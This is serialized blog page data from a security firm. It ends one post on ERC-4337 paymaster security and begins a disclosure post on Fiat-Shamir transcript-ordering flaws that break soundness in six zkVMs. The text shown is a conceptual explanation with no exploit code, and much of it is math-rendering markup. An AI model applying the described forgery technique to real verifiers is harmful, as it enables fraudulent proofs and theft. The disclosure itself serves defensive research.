the ",{"type":23,"tag":71,"props":109553,"children":109555},{"className":109554},[],[109556],{"type":29,"value":104042},{"type":29,"value":109558}," contract's behavior could potentially break existing ",{"type":23,"tag":71,"props":109560,"children":109562},{"className":109561},[],[109563],{"type":29,"value":104114},{"type":29,"value":109565}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":71,"props":109567,"children":109569},{"className":109568},[],[109570],{"type":29,"value":104042},{"type":29,"value":109572}," versions.",{"type":23,"tag":32,"props":109574,"children":109575},{},[109576],{"type":29,"value":109577},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":32,"props":109579,"children":109580},{},[109581],{"type":29,"value":109582},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":5178,"props":109584,"children":109585},{},[109586],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":109588},[109589,109590,109591,109598,109603,109604],{"id":103876,"depth":243,"text":103879},{"id":103892,"depth":243,"text":103895},{"id":103931,"depth":243,"text":103934,"children":109592},[109593,109594,109595,109596,109597],{"id":103954,"depth":252,"text":103961},{"id":103995,"depth":252,"text":103998},{"id":104021,"depth":252,"text":104024},{"id":17050,"depth":252,"text":104042},{"id":104114,"depth":252,"text":104125},{"id":104177,"depth":243,"text":109599,"children":109600},"Understanding the EntryPoint's Flow",[109601,109602],{"id":104233,"depth":252,"text":104236},{"id":104418,"depth":252,"text":104421},{"id":104661,"depth":243,"text":104667},{"id":106261,"depth":243,"text":106267,"children":109605},[109606,109607],{"id":106321,"depth":252,"text":106324},{"id":106381,"depth":252,"text":106384},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":109612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":109613,"description":109614,"date":109615,"author":109616,"image":109619,"isFeatured":18,"onBlogPage":18,"tags":109621,"body":109623,"_type":5202,"_id":125428,"_source":5204,"_file":125429,"_stem":125430,"_extension":5207},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[109617,109618],"himanshu","valter",{"src":109620,"width":99047,"height":16},"/posts/zkvms-unfaithful-claims/title.png",[109622],"zkVM",{"type":20,"children":109624,"toc":125392},[109625,109630,109672,109685,109688,109694,109699,109827,109830,109836,109842,109847,109879,110027,110032,110155,110166,110177,110200,110211,110216,110249,110257,110262,110265,110271,110276,110282,110287,110292,110300,110318,110459,110464,110470,110563,111297,111365,111376,111384,111858,111864,112303,112643,112796,112801,113689,113845,113851,113943,113948,114533,114983,115059,115065,115070,115139,115149,115165,115175,115236,115655,115687,115697,115872,115877,115887,116487,116675,116693,116696,116702,116707,116715,116747,117109,117114,117199,117202,117208,117216,117221,117224,117230,117235,117243,117251,117259,117267,117300,117308,117316,117407,117658,117985,117993,118023,118193,118519,118524,118529,118546,118549,118554,118559,118571,118583,119174,119186,119198,119205,119213,119225,119233,119248,119253,119533,119552,119647,119666,119682,119685,119691,119696,119701,119708,119716,119723,119731,119744,119762,120222,120324,120329,120334,120350,120353,120359,120364,120376,120387,120392,120782,120789,120797,120822,120842,121098,121109,121128,121512,121858,122088,122247,122407,122975,122980,123006,123009,123015,123020,123027,123035,123048,123120,123131,123139,123149,123157,123168,123442,123531,123560,123563,123568,123702,123714,123721,123726,123879,123905,123912,123920,123925,123991,123996,124386,124473,124489,124492,124498,124503,124509,124609,124668,124673,124679,124684,124692,124697,124703,124708,124713,124719,124724,124727,124733,124739,124744,124749,124754,124759,124764,124767,124773,124936,124941,124944,124949,124960,125277,125282,125306,125311,125329,125334,125337,125343,125348,125353,125363,125368,125378,125388],{"type":23,"tag":32,"props":109626,"children":109627},{},[109628],{"type":29,"value":109629},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":32,"props":109631,"children":109632},{},[109633,109635,109640,109641,109646,109647,109652,109653,109658,109659,109664,109665,109670],{"type":29,"value":109634},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":2302,"props":109636,"children":109637},{},[109638],{"type":29,"value":109639},"Jolt",{"type":29,"value":684},{"type":23,"tag":2302,"props":109642,"children":109643},{},[109644],{"type":29,"value":109645},"Nexus",{"type":29,"value":684},{"type":23,"tag":2302,"props":109648,"children":109649},{},[109650],{"type":29,"value":109651},"Cairo-M",{"type":29,"value":684},{"type":23,"tag":2302,"props":109654,"children":109655},{},[109656],{"type":29,"value":109657},"Ceno",{"type":29,"value":684},{"type":23,"tag":2302,"props":109660,"children":109661},{},[109662],{"type":29,"value":109663},"Expander",{"type":29,"value":8824},{"type":23,"tag":2302,"props":109666,"children":109667},{},[109668],{"type":29,"value":109669},"Binius64",{"type":29,"value":109671},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":32,"props":109673,"children":109674},{},[109675,109677,109683],{"type":29,"value":109676},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":181,"props":109678,"children":109680},{"href":109679},"#challenges",[109681],{"type":29,"value":109682},"Challenges",{"type":29,"value":109684}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":21113,"props":109686,"children":109687},{},[],{"type":23,"tag":24,"props":109689,"children":109691},{"id":109690},"jargon-cheat-sheet",[109692],{"type":29,"value":109693},"Jargon Cheat Sheet",{"type":23,"tag":32,"props":109695,"children":109696},{},[109697],{"type":29,"value":109698},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":98,"props":109700,"children":109701},{},[109702,109712,109722,109732,109742,109752,109762,109772,109782,109792,109802,109812],{"type":23,"tag":102,"props":109703,"children":109704},{},[109705,109710],{"type":23,"tag":2302,"props":109706,"children":109707},{},[109708],{"type":29,"value":109709},"Fiat-Shamir",{"type":29,"value":109711},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":102,"props":109713,"children":109714},{},[109715,109720],{"type":23,"tag":2302,"props":109716,"children":109717},{},[109718],{"type":29,"value":109719},"Transcript",{"type":29,"value":109721},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":102,"props":109723,"children":109724},{},[109725,109730],{"type":23,"tag":2302,"props":109726,"children":109727},{},[109728],{"type":29,"value":109729},"Polynomial Commitment",{"type":29,"value":109731},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":102,"props":109733,"children":109734},{},[109735,109740],{"type":23,"tag":2302,"props":109736,"children":109737},{},[109738],{"type":29,"value":109739},"Sumcheck",{"type":29,"value":109741},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":102,"props":109743,"children":109744},{},[109745,109750],{"type":23,"tag":2302,"props":109746,"children":109747},{},[109748],{"type":29,"value":109749},"MLE (Multilinear Extension)",{"type":29,"value":109751},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":102,"props":109753,"children":109754},{},[109755,109760],{"type":23,"tag":2302,"props":109756,"children":109757},{},[109758],{"type":29,"value":109759},"Lookup / LogUp",{"type":29,"value":109761},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":102,"props":109763,"children":109764},{},[109765,109770],{"type":23,"tag":2302,"props":109766,"children":109767},{},[109768],{"type":29,"value":109769},"AIR",{"type":29,"value":109771},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":102,"props":109773,"children":109774},{},[109775,109780],{"type":23,"tag":2302,"props":109776,"children":109777},{},[109778],{"type":29,"value":109779},"STARK",{"type":29,"value":109781},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":102,"props":109783,"children":109784},{},[109785,109790],{"type":23,"tag":2302,"props":109786,"children":109787},{},[109788],{"type":29,"value":109789},"FRI",{"type":29,"value":109791},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":102,"props":109793,"children":109794},{},[109795,109800],{"type":23,"tag":2302,"props":109796,"children":109797},{},[109798],{"type":29,"value":109799},"OODS",{"type":29,"value":109801},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":102,"props":109803,"children":109804},{},[109805,109810],{"type":23,"tag":2302,"props":109806,"children":109807},{},[109808],{"type":29,"value":109809},"GKR",{"type":29,"value":109811},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":102,"props":109813,"children":109814},{},[109815,109820,109822],{"type":23,"tag":2302,"props":109816,"children":109817},{},[109818],{"type":29,"value":109819},"claimed_sum / opening_claim",{"type":29,"value":109821},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":2302,"props":109823,"children":109824},{},[109825],{"type":29,"value":109826},"These are the usual suspects for binding bugs.",{"type":23,"tag":21113,"props":109828,"children":109829},{},[],{"type":23,"tag":24,"props":109831,"children":109833},{"id":109832},"what-are-we-even-breaking",[109834],{"type":29,"value":109835},"What Are We Even Breaking?",{"type":23,"tag":59,"props":109837,"children":109839},{"id":109838},"what-is-a-zkvm",[109840],{"type":29,"value":109841},"What is a zkVM?",{"type":23,"tag":32,"props":109843,"children":109844},{},[109845],{"type":29,"value":109846},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":32,"props":109848,"children":109849},{},[109850,109852,109877],{"type":29,"value":109851},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":71,"props":109853,"children":109855},{"className":109854},[6318,6319],[109856],{"type":23,"tag":230,"props":109857,"children":109859},{"className":109858},[6324],[109860],{"type":23,"tag":230,"props":109861,"children":109863},{"className":109862,"ariaHidden":1726},[6329],[109864],{"type":23,"tag":230,"props":109865,"children":109867},{"className":109866},[6334],[109868,109872],{"type":23,"tag":230,"props":109869,"children":109871},{"className":109870,"style":23897},[6339],[],{"type":23,"tag":230,"props":109873,"children":109875},{"className":109874,"style":23903},[6345,23902],[109876],{"type":29,"value":8324},{"type":29,"value":109878}," such that:",{"type":23,"tag":32,"props":109880,"children":109881},{},[109882],{"type":23,"tag":71,"props":109883,"children":109885},{"className":109884},[6318,6319],[109886],{"type":23,"tag":230,"props":109887,"children":109889},{"className":109888},[6324],[109890],{"type":23,"tag":230,"props":109891,"children":109893},{"className":109892,"ariaHidden":1726},[6329],[109894,109938,110013],{"type":23,"tag":230,"props":109895,"children":109897},{"className":109896},[6334],[109898,109902,109908,109912,109917,109921,109925,109930,109934],{"type":23,"tag":230,"props":109899,"children":109901},{"className":109900,"style":94741},[6339],[],{"type":23,"tag":230,"props":109903,"children":109905},{"className":109904},[6345],[109906],{"type":29,"value":109907},"∃",{"type":23,"tag":230,"props":109909,"children":109911},{"className":109910,"style":6524},[6426],[],{"type":23,"tag":230,"props":109913,"children":109915},{"className":109914,"style":23903},[6345,23902],[109916],{"type":29,"value":8324},{"type":23,"tag":230,"props":109918,"children":109920},{"className":109919,"style":6524},[6426],[],{"type":23,"tag":230,"props":109922,"children":109924},{"className":109923,"style":6524},[6426],[],{"type":23,"tag":230,"props":109926,"children":109928},{"className":109927},[6529],[109929],{"type":29,"value":218},{"type":23,"tag":230,"props":109931,"children":109933},{"className":109932,"style":6524},[6426],[],{"type":23,"tag":230,"props":109935,"children":109937},{"className":109936,"style":6524},[6426],[],{"type":23,"tag":230,"props":109939,"children":109941},{"className":109940},[6334],[109942,109946,109957,109962,109967,109972,109976,109981,109986,109990,109995,110000,110004,110009],{"type":23,"tag":230,"props":109943,"children":109945},{"className":109944,"style":6447},[6339],[],{"type":23,"tag":230,"props":109947,"children":109949},{"className":109948},[6345],[109950],{"type":23,"tag":230,"props":109951,"children":109954},{"className":109952},[6345,109953],"mathsf",[109955],{"type":29,"value":109956},"VM",{"type":23,"tag":230,"props":109958,"children":109960},{"className":109959},[24031],[109961],{"type":29,"value":302},{"type":23,"tag":230,"props":109963,"children":109965},{"className":109964,"style":23903},[6345,23902],[109966],{"type":29,"value":23906},{"type":23,"tag":230,"props":109968,"children":109970},{"className":109969},[6458],[109971],{"type":29,"value":6461},{"type":23,"tag":230,"props":109973,"children":109975},{"className":109974,"style":6465},[6426],[],{"type":23,"tag":230,"props":109977,"children":109979},{"className":109978,"style":96846},[6345,23902],[109980],{"type":29,"value":8470},{"type":23,"tag":230,"props":109982,"children":109984},{"className":109983},[6458],[109985],{"type":29,"value":6461},{"type":23,"tag":230,"props":109987,"children":109989},{"className":109988,"style":6465},[6426],[],{"type":23,"tag":230,"props":109991,"children":109993},{"className":109992,"style":23903},[6345,23902],[109994],{"type":29,"value":8324},{"type":23,"tag":230,"props":109996,"children":109998},{"className":109997},[24053],[109999],{"type":29,"value":5467},{"type":23,"tag":230,"props":110001,"children":110003},{"className":110002,"style":6524},[6426],[],{"type":23,"tag":230,"props":110005,"children":110007},{"className":110006},[6529],[110008],{"type":29,"value":24648},{"type":23,"tag":230,"props":110010,"children":110012},{"className":110011,"style":6524},[6426],[],{"type":23,"tag":230,"props":110014,"children":110016},{"className":110015},[6334],[110017,110021],{"type":23,"tag":230,"props":110018,"children":110020},{"className":110019,"style":23897},[6339],[],{"type":23,"tag":230,"props":110022,"children":110025},{"className":110023,"style":110024},[6345,23902],"margin-right:0.22222em;",[110026],{"type":29,"value":8500},{"type":23,"tag":32,"props":110028,"children":110029},{},[110030],{"type":29,"value":110031},"where:",{"type":23,"tag":98,"props":110033,"children":110034},{},[110035,110065,110095,110125],{"type":23,"tag":102,"props":110036,"children":110037},{},[110038,110063],{"type":23,"tag":71,"props":110039,"children":110041},{"className":110040},[6318,6319],[110042],{"type":23,"tag":230,"props":110043,"children":110045},{"className":110044},[6324],[110046],{"type":23,"tag":230,"props":110047,"children":110049},{"className":110048,"ariaHidden":1726},[6329],[110050],{"type":23,"tag":230,"props":110051,"children":110053},{"className":110052},[6334],[110054,110058],{"type":23,"tag":230,"props":110055,"children":110057},{"className":110056,"style":23897},[6339],[],{"type":23,"tag":230,"props":110059,"children":110061},{"className":110060,"style":23903},[6345,23902],[110062],{"type":29,"value":23906},{"type":29,"value":110064}," = program/circuit description (public)",{"type":23,"tag":102,"props":110066,"children":110067},{},[110068,110093],{"type":23,"tag":71,"props":110069,"children":110071},{"className":110070},[6318,6319],[110072],{"type":23,"tag":230,"props":110073,"children":110075},{"className":110074},[6324],[110076],{"type":23,"tag":230,"props":110077,"children":110079},{"className":110078,"ariaHidden":1726},[6329],[110080],{"type":23,"tag":230,"props":110081,"children":110083},{"className":110082},[6334],[110084,110088],{"type":23,"tag":230,"props":110085,"children":110087},{"className":110086,"style":23897},[6339],[],{"type":23,"tag":230,"props":110089,"children":110091},{"className":110090,"style":96846},[6345,23902],[110092],{"type":29,"value":8470},{"type":29,"value":110094}," = public input",{"type":23,"tag":102,"props":110096,"children":110097},{},[110098,110123],{"type":23,"tag":71,"props":110099,"children":110101},{"className":110100},[6318,6319],[110102],{"type":23,"tag":230,"props":110103,"children":110105},{"className":110104},[6324],[110106],{"type":23,"tag":230,"props":110107,"children":110109},{"className":110108,"ariaHidden":1726},[6329],[110110],{"type":23,"tag":230,"props":110111,"children":110113},{"className":110112},[6334],[110114,110118],{"type":23,"tag":230,"props":110115,"children":110117},{"className":110116,"style":23897},[6339],[],{"type":23,"tag":230,"props":110119,"children":110121},{"className":110120,"style":110024},[6345,23902],[110122],{"type":29,"value":8500},{"type":29,"value":110124}," = claimed public output",{"type":23,"tag":102,"props":110126,"children":110127},{},[110128,110153],{"type":23,"tag":71,"props":110129,"children":110131},{"className":110130},[6318,6319],[110132],{"type":23,"tag":230,"props":110133,"children":110135},{"className":110134},[6324],[110136],{"type":23,"tag":230,"props":110137,"children":110139},{"className":110138,"ariaHidden":1726},[6329],[110140],{"type":23,"tag":230,"props":110141,"children":110143},{"className":110142},[6334],[110144,110148],{"type":23,"tag":230,"props":110145,"children":110147},{"className":110146,"style":23897},[6339],[],{"type":23,"tag":230,"props":110149,"children":110151},{"className":110150,"style":23903},[6345,23902],[110152],{"type":29,"value":8324},{"type":29,"value":110154}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":32,"props":110156,"children":110157},{},[110158,110160,110164],{"type":29,"value":110159},"The verifier does ",{"type":23,"tag":2302,"props":110161,"children":110162},{},[110163],{"type":29,"value":20808},{"type":29,"value":110165}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":32,"props":110167,"children":110168},{},[110169,110171,110176],{"type":29,"value":110170},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":2302,"props":110172,"children":110173},{},[110174],{"type":29,"value":110175},"soundness",{"type":29,"value":218},{"type":23,"tag":98,"props":110178,"children":110179},{},[110180,110190],{"type":23,"tag":102,"props":110181,"children":110182},{},[110183,110188],{"type":23,"tag":2302,"props":110184,"children":110185},{},[110186],{"type":29,"value":110187},"Completeness",{"type":29,"value":110189},": honest execution verifies.",{"type":23,"tag":102,"props":110191,"children":110192},{},[110193,110198],{"type":23,"tag":2302,"props":110194,"children":110195},{},[110196],{"type":29,"value":110197},"Soundness",{"type":29,"value":110199},": false execution should not verify.",{"type":23,"tag":32,"props":110201,"children":110202},{},[110203,110205,110209],{"type":29,"value":110204},"We are breaking ",{"type":23,"tag":2302,"props":110206,"children":110207},{},[110208],{"type":29,"value":110175},{"type":29,"value":110210}," in all six systems.",{"type":23,"tag":32,"props":110212,"children":110213},{},[110214],{"type":29,"value":110215},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":144,"props":110217,"children":110218},{},[110219,110224,110229,110234,110239,110244],{"type":23,"tag":102,"props":110220,"children":110221},{},[110222],{"type":29,"value":110223},"Fix public statement data.",{"type":23,"tag":102,"props":110225,"children":110226},{},[110227],{"type":29,"value":110228},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":102,"props":110230,"children":110231},{},[110232],{"type":29,"value":110233},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":102,"props":110235,"children":110236},{},[110237],{"type":29,"value":110238},"Check constraint equations at sampled points.",{"type":23,"tag":102,"props":110240,"children":110241},{},[110242],{"type":29,"value":110243},"Check PCS/opening consistency.",{"type":23,"tag":102,"props":110245,"children":110246},{},[110247],{"type":29,"value":110248},"Accept only if all checks are jointly consistent.",{"type":23,"tag":32,"props":110250,"children":110251},{},[110252],{"type":23,"tag":93,"props":110253,"children":110256},{"alt":110254,"src":110255},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":32,"props":110258,"children":110259},{},[110260],{"type":29,"value":110261},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":21113,"props":110263,"children":110264},{},[],{"type":23,"tag":24,"props":110266,"children":110268},{"id":110267},"the-building-blocks",[110269],{"type":29,"value":110270},"The Building Blocks",{"type":23,"tag":32,"props":110272,"children":110273},{},[110274],{"type":29,"value":110275},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":59,"props":110277,"children":110279},{"id":110278},"the-fiat-shamir-transform",[110280],{"type":29,"value":110281},"The Fiat-Shamir Transform",{"type":23,"tag":32,"props":110283,"children":110284},{},[110285],{"type":29,"value":110286},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":32,"props":110288,"children":110289},{},[110290],{"type":29,"value":110291},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":32,"props":110293,"children":110294},{},[110295],{"type":23,"tag":93,"props":110296,"children":110299},{"alt":110297,"src":110298},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":32,"props":110301,"children":110302},{},[110303,110305,110309,110311,110316],{"type":29,"value":110304},"The hash (transcript) ",{"type":23,"tag":2302,"props":110306,"children":110307},{},[110308],{"type":29,"value":8856},{"type":29,"value":110310}," include everything that affects verification ",{"type":23,"tag":2302,"props":110312,"children":110313},{},[110314],{"type":29,"value":110315},"BEFORE",{"type":29,"value":110317}," the challenges derived from it are used.",{"type":23,"tag":32,"props":110319,"children":110320},{},[110321,110323,110349,110351,110376,110378,110403,110405,110430,110432,110457],{"type":29,"value":110322},"If some value ",{"type":23,"tag":71,"props":110324,"children":110326},{"className":110325},[6318,6319],[110327],{"type":23,"tag":230,"props":110328,"children":110330},{"className":110329},[6324],[110331],{"type":23,"tag":230,"props":110332,"children":110334},{"className":110333,"ariaHidden":1726},[6329],[110335],{"type":23,"tag":230,"props":110336,"children":110338},{"className":110337},[6334],[110339,110343],{"type":23,"tag":230,"props":110340,"children":110342},{"className":110341,"style":23897},[6339],[],{"type":23,"tag":230,"props":110344,"children":110346},{"className":110345,"style":110024},[6345,23902],[110347],{"type":29,"value":110348},"V",{"type":29,"value":110350}," affects a verification equation, but ",{"type":23,"tag":71,"props":110352,"children":110354},{"className":110353},[6318,6319],[110355],{"type":23,"tag":230,"props":110356,"children":110358},{"className":110357},[6324],[110359],{"type":23,"tag":230,"props":110360,"children":110362},{"className":110361,"ariaHidden":1726},[6329],[110363],{"type":23,"tag":230,"props":110364,"children":110366},{"className":110365},[6334],[110367,110371],{"type":23,"tag":230,"props":110368,"children":110370},{"className":110369,"style":23897},[6339],[],{"type":23,"tag":230,"props":110372,"children":110374},{"className":110373,"style":110024},[6345,23902],[110375],{"type":29,"value":110348},{"type":29,"value":110377}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":71,"props":110379,"children":110381},{"className":110380},[6318,6319],[110382],{"type":23,"tag":230,"props":110383,"children":110385},{"className":110384},[6324],[110386],{"type":23,"tag":230,"props":110387,"children":110389},{"className":110388,"ariaHidden":1726},[6329],[110390],{"type":23,"tag":230,"props":110391,"children":110393},{"className":110392},[6334],[110394,110398],{"type":23,"tag":230,"props":110395,"children":110397},{"className":110396,"style":23897},[6339],[],{"type":23,"tag":230,"props":110399,"children":110401},{"className":110400,"style":110024},[6345,23902],[110402],{"type":29,"value":110348},{"type":29,"value":110404},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":71,"props":110406,"children":110408},{"className":110407},[6318,6319],[110409],{"type":23,"tag":230,"props":110410,"children":110412},{"className":110411},[6324],[110413],{"type":23,"tag":230,"props":110414,"children":110416},{"className":110415,"ariaHidden":1726},[6329],[110417],{"type":23,"tag":230,"props":110418,"children":110420},{"className":110419},[6334],[110421,110425],{"type":23,"tag":230,"props":110422,"children":110424},{"className":110423,"style":23897},[6339],[],{"type":23,"tag":230,"props":110426,"children":110428},{"className":110427,"style":110024},[6345,23902],[110429],{"type":29,"value":110348},{"type":29,"value":110431},", which may allow it to choose ",{"type":23,"tag":71,"props":110433,"children":110435},{"className":110434},[6318,6319],[110436],{"type":23,"tag":230,"props":110437,"children":110439},{"className":110438},[6324],[110440],{"type":23,"tag":230,"props":110441,"children":110443},{"className":110442,"ariaHidden":1726},[6329],[110444],{"type":23,"tag":230,"props":110445,"children":110447},{"className":110446},[6334],[110448,110452],{"type":23,"tag":230,"props":110449,"children":110451},{"className":110450,"style":23897},[6339],[],{"type":23,"tag":230,"props":110453,"children":110455},{"className":110454,"style":110024},[6345,23902],[110456],{"type":29,"value":110348},{"type":29,"value":110458}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":32,"props":110460,"children":110461},{},[110462],{"type":29,"value":110463},"This is the bug class we found in all six systems.",{"type":23,"tag":59,"props":110465,"children":110467},{"id":110466},"the-sumcheck-protocol",[110468],{"type":29,"value":110469},"The Sumcheck Protocol",{"type":23,"tag":32,"props":110471,"children":110472},{},[110473,110475,110561],{"type":29,"value":110474},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":71,"props":110476,"children":110478},{"className":110477},[6318,6319],[110479],{"type":23,"tag":230,"props":110480,"children":110482},{"className":110481},[6324],[110483],{"type":23,"tag":230,"props":110484,"children":110486},{"className":110485,"ariaHidden":1726},[6329],[110487],{"type":23,"tag":230,"props":110488,"children":110490},{"className":110489},[6334],[110491,110495,110500,110505,110510,110514,110519],{"type":23,"tag":230,"props":110492,"children":110494},{"className":110493,"style":6447},[6339],[],{"type":23,"tag":230,"props":110496,"children":110498},{"className":110497},[24031],[110499],{"type":29,"value":78397},{"type":23,"tag":230,"props":110501,"children":110503},{"className":110502},[6345],[110504],{"type":29,"value":6358},{"type":23,"tag":230,"props":110506,"children":110508},{"className":110507},[6458],[110509],{"type":29,"value":6461},{"type":23,"tag":230,"props":110511,"children":110513},{"className":110512,"style":6465},[6426],[],{"type":23,"tag":230,"props":110515,"children":110517},{"className":110516},[6345],[110518],{"type":29,"value":6348},{"type":23,"tag":230,"props":110520,"children":110522},{"className":110521},[24053],[110523,110528],{"type":23,"tag":230,"props":110524,"children":110526},{"className":110525},[24053],[110527],{"type":29,"value":642},{"type":23,"tag":230,"props":110529,"children":110531},{"className":110530},[6362],[110532],{"type":23,"tag":230,"props":110533,"children":110535},{"className":110534},[6367],[110536],{"type":23,"tag":230,"props":110537,"children":110539},{"className":110538},[6372],[110540],{"type":23,"tag":230,"props":110541,"children":110544},{"className":110542,"style":110543},[6377],"height:0.6644em;",[110545],{"type":23,"tag":230,"props":110546,"children":110547},{"style":6381},[110548,110552],{"type":23,"tag":230,"props":110549,"children":110551},{"className":110550,"style":6387},[6386],[],{"type":23,"tag":230,"props":110553,"children":110555},{"className":110554},[6392,6393,6394,6395],[110556],{"type":23,"tag":230,"props":110557,"children":110559},{"className":110558},[6345,23902,6395],[110560],{"type":29,"value":58177},{"type":29,"value":110562},"), i.e the claim:",{"type":23,"tag":32,"props":110564,"children":110565},{},[110566],{"type":23,"tag":71,"props":110567,"children":110569},{"className":110568},[6318,6319],[110570],{"type":23,"tag":230,"props":110571,"children":110573},{"className":110572},[6324],[110574],{"type":23,"tag":230,"props":110575,"children":110577},{"className":110576,"ariaHidden":1726},[6329],[110578,110604],{"type":23,"tag":230,"props":110579,"children":110581},{"className":110580},[6334],[110582,110586,110591,110595,110600],{"type":23,"tag":230,"props":110583,"children":110585},{"className":110584,"style":23897},[6339],[],{"type":23,"tag":230,"props":110587,"children":110589},{"className":110588,"style":95060},[6345,23902],[110590],{"type":29,"value":95063},{"type":23,"tag":230,"props":110592,"children":110594},{"className":110593,"style":6524},[6426],[],{"type":23,"tag":230,"props":110596,"children":110598},{"className":110597},[6529],[110599],{"type":29,"value":863},{"type":23,"tag":230,"props":110601,"children":110603},{"className":110602,"style":6524},[6426],[],{"type":23,"tag":230,"props":110605,"children":110607},{"className":110606},[6334],[110608,110612,110762,110766,110909,110913,110920,110924,111068,111072,111078,111083,111140,111145,111149,111206,111211,111215,111221,111225,111230,111234,111292],{"type":23,"tag":230,"props":110609,"children":110611},{"className":110610,"style":23933},[6339],[],{"type":23,"tag":230,"props":110613,"children":110615},{"className":110614},[23938],[110616,110622],{"type":23,"tag":230,"props":110617,"children":110619},{"className":110618,"style":23945},[23938,23943,23944],[110620],{"type":29,"value":110621},"∑",{"type":23,"tag":230,"props":110623,"children":110625},{"className":110624},[6362],[110626],{"type":23,"tag":230,"props":110627,"children":110629},{"className":110628},[6367,23956],[110630,110751],{"type":23,"tag":230,"props":110631,"children":110633},{"className":110632},[6372],[110634,110746],{"type":23,"tag":230,"props":110635,"children":110637},{"className":110636,"style":23965},[6377],[110638],{"type":23,"tag":230,"props":110639,"children":110640},{"style":23969},[110641,110645],{"type":23,"tag":230,"props":110642,"children":110644},{"className":110643,"style":6387},[6386],[],{"type":23,"tag":230,"props":110646,"children":110648},{"className":110647},[6392,6393,6394,6395],[110649],{"type":23,"tag":230,"props":110650,"children":110652},{"className":110651},[6345,6395],[110653,110716,110721,110726,110731,110736,110741],{"type":23,"tag":230,"props":110654,"children":110656},{"className":110655},[6345,6395],[110657,110662],{"type":23,"tag":230,"props":110658,"children":110660},{"className":110659},[6345,23902,6395],[110661],{"type":29,"value":4511},{"type":23,"tag":230,"props":110663,"children":110665},{"className":110664},[6362],[110666],{"type":23,"tag":230,"props":110667,"children":110669},{"className":110668},[6367,23956],[110670,110704],{"type":23,"tag":230,"props":110671,"children":110673},{"className":110672},[6372],[110674,110699],{"type":23,"tag":230,"props":110675,"children":110678},{"className":110676,"style":11